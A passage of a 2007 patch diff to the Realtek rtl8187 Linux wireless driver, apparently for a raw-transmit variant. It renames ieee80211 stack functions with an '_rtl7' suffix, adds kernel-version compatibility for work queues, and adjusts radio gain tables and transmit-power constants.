-870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval 